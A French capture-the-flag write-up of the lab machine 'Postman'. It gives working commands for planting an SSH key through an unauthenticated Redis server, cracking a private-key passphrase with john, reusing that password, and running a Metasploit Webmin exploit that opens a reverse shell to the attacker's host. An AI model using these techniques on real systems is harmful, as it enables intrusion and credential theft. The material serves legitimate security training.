Introduction

Postman est une machine linux dont l'adresse IP est 10.10.10.160.

Compétences mises en œuvre :

- Enumération des ports et services d'un ordinateur.
- Identification d'un service faillible.
- Elévation latérale via une clé SSH privée.
- Elévation verticale via un exploit metasploit.

Enumération initiale

Nous commençons comme d'habitude avec un scan **nmap** pour découvrir les ports et services ouverts :

```
$ nmap -T4 -A 10.10.10.160
```

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Cyber Geek's Personal Website
6379/tcp  open  redis   Redis key-value store 4.0.9
10000/tcp open  http    MiniServ 1.910 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Plusieurs ports sont ouverts :

- 22 pour un serveur ssh
- 80 pour un serveur web
- 6379 pour un serveur de données structurées
- 10000 pour un serveur Webmin

Obtenir un accès utilisateur

Le port **6979** n'est pas commun donc en faisant des recherches sur le service qui tourne derrière. Apparemment les versions entre **Redis 4.0** et **5.0** sont vulnérables aux **RCE**. Un script **redis-cli** est disponible pour vérifier si la vulnérabilité est présente :

```
$ locate redis-cli
$ /usr/bin/redis-cli -h 10.10.10.160
```

```
└──╼ [★]$ /usr/bin/redis-cli -h 10.10.10.160
10.10.10.160:6379> CONFIG GET *
  1) "dbfilename"
  2) "dump.rdb"
  3) "requirepass"
  4) ""
  5) "masterauth"
```

170 lignes sont présentes sur la configuration. En regardant la configuration, nous trouvons que le dossier par défaut est **/var/lib/redis**. Nous allons donc fouiller par là-bas :

```
10.10.10.160:6379> "dir"
(error) ERR unknown command 'dir'
10.10.10.160:6379> CONFIG GET dir
1) "dir"
2) "/var/lib/redis"
10.10.10.160:6379> CONFIG SET dir /var/lib/redis/.ssh
OK
10.10.10.160:6379>
```

Il faut apparemment tester si chaque dossier existe en faisant une requête... Après des heures de tests, une personne du forum m'a aidé en donnant un indice, c'est par le ssh qu'on peut passer. Dans notre cas, aucun identifiant est dans les parages, donc nous allons déposer notre clé publique ssh dans la machine. D'abord nous créons un fichier txt avec notre clé publique dedans :

```
$ (echo -e "\n\n" ; cat ~/.ssh/id_rsa.pub; echo -e  "\n\n") > key.txt
$ cat key.txt | redis-cli -h 10.10.10.160 -x set ssh_key
```

Maintenant nous sauvegardons la key dans **/var/lib/redis/.ssh/authorized_keys** :

- GET ssh_key
- CONFIG SET dir /var/lib/redis/.ssh
- CONFIG SET dbfilename authorized_keys
- Save
- exit

Nous pouvons alors nous connecter en tant que redis. Mais le user.txt se situe dans le home de **Matt**, nous devons donc faire de l'énumération pour connaitre nos droits etc… Un fichier **id_rsa.bak** est présent dans le dossier **/opt**. Nous pouvons faire comme dans la box OpenNetAdmin, vu que nous avons une clé rsa, nous pouvons en extraire la passphrase (avec **ssh2john** et **john**) et se connecter en ssh :

```
└─▸ [★]$ john output -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 3 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
computer2008     (id_rsa.m)
```

Nous avons la passphrase : **computer2008** . Nous pouvons alors nous connecter en ssh avec la clé et la passphrase mais cela ne fonctionne pas :

```
└─▸ [★]$ ssh -i id_rsa.m Matt@10.10.10.160
load pubkey "id_rsa.m": invalid format
Enter passphrase for key 'id_rsa.m':
Connection closed by 10.10.10.160 port 22
```

Nous tentons alors via redis en local, en espérant que Matt ait le même mot de passe que celui en passphrase, et c'est un succès :

```
redis@Postman:~$ su Matt
Password:
Matt@Postman:/var/lib/redis$ cat /home/Matt/user.txt
517                                 08a2f3c
```

Obtenir un accès administrateur

L'énumération de base ne rapporte rien d'intriguant, néanmoins sur le port 10000, il y a toujours un serveur web qui tourne, nous allons donc chercher dans ce coin-là. La page d'accueil est une page de login, on se connecte alors avec les identifiants **Matt**:**computer2008**. Sur la page d'accueil, une alerte nous montre qu'il y a 115 mises à jour de sécurité non réalisées, nous lançons alors une recherche d'exploit avec **searchsploit** :

```
$ searchsploit webmin 1.920
```

```
------------------------------------------------------------------------------------------ ----------------------
 Exploit Title                                                                            |  Path
------------------------------------------------------------------------------------------ ----------------------
Webmin 1.920 - Remote Code Execution                                                      | linux/webapps/47293.sh
Webmin 1.920 - Unauthenticated Remote Code Execution (Metasploit)                         | linux/remote/47230.rb
Webmin < 1.920 - 'rpc.cgi' Remote Code Execution (Metasploit)                             | linux/webapps/47330.rb
------------------------------------------------------------------------------------------ ----------------------
```

Une RCE est apparemment présente sous **metasploit**, nous allons donc l'exécuter :

```
$ msfconsole
Msf > search webmin 1.920
Msf > use linux/http/webmin_packageup_rce
Msf > set rhost 10.10.10.160
Msf > set username Matt
Msf > set password computer2008
Msf > set SSL true
```

```
msf6 exploit(linux/http/webmin_packageup_rce) > run

[*] Started reverse TCP handler on 10.10.14.37:4444
[+] Session cookie: 4790284b25de52ae1fc946758881a808
[*] Attempting to execute the payload...
[*] Command shell session 1 opened (10.10.14.37:4444 -> 10.10.10.160:40322) at 2020-10-01 19:10:11 +0200


cat /root/root.txt
a25[redacted]05686ddce
```